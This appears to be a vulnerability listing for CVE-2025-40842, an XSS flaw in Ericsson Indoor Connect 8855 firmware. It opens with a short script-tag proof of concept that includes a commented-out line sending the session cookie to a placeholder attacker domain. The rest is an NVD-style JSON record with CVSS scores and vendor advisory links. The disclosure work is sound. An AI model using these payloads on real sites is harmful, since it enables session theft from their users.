CVE-2025-40842

<!-- Proof of Concept for CVE-2025-40842 XSS --> <!-- Inject payload into a vulnerable parameter --> <script> // Demonstrate execution of arbitrary JS alert('CVE-2025-40842 XSS Vulnerability Exploited'); // Example: Exfiltrate session cookie to an attacker controlled server // var c = document.cookie; // fetch('https://attacker-controlled-domain/log?c=' + encodeURIComponent(c)); </script> <!-- Alternative payload using image tag --> <!-- <img src=x onerror=alert('XSS')> -->

{"cve": {"id": "CVE-2025-40842", "sourceIdentifier": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "published": "2026-03-25T14:16:30.570", "lastModified": "2026-03-27T18:27:30.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ericsson Indoor Connect 8855 versions prior to 2025.Q3 contains a\nCross-Site Scripting (XSS) vulnerability which, if exploited, can lead to\nunauthorized disclosure and modification of certain information."}, {"lang": "es", "value": "Las versiones de Ericsson Indoor Connect 8855 anteriores a 2025.Q3 contienen una vulnerabilidad de cross-site scripting (XSS) que, si se explota, puede conducir a la divulgación y modificación no autorizada de cierta información."}], "metrics": {"cvssMetricV40": [{"source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ericsson:indoor_connect_8855_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.q3", "matchCriteriaId": "37C4F98B-D38A-47A6-B294-23A5E6291A81"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ericsson:indoor_connect_8855:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B0C1261-B15A-4D91-AC65-9834D16A94F1"}]}]}], "references": [{"url": "https://www.ericsson.com/en/about-us/security/psirt/CVE-2025-40842", "source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "tags": ["Vendor Advisory"]}, {"url": "https://www.ericsson.com/en/about-us/security/psirt/security-bulletin-indoorconnect-march-2026", "source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "tags": ["Vendor Advisory"]}]}}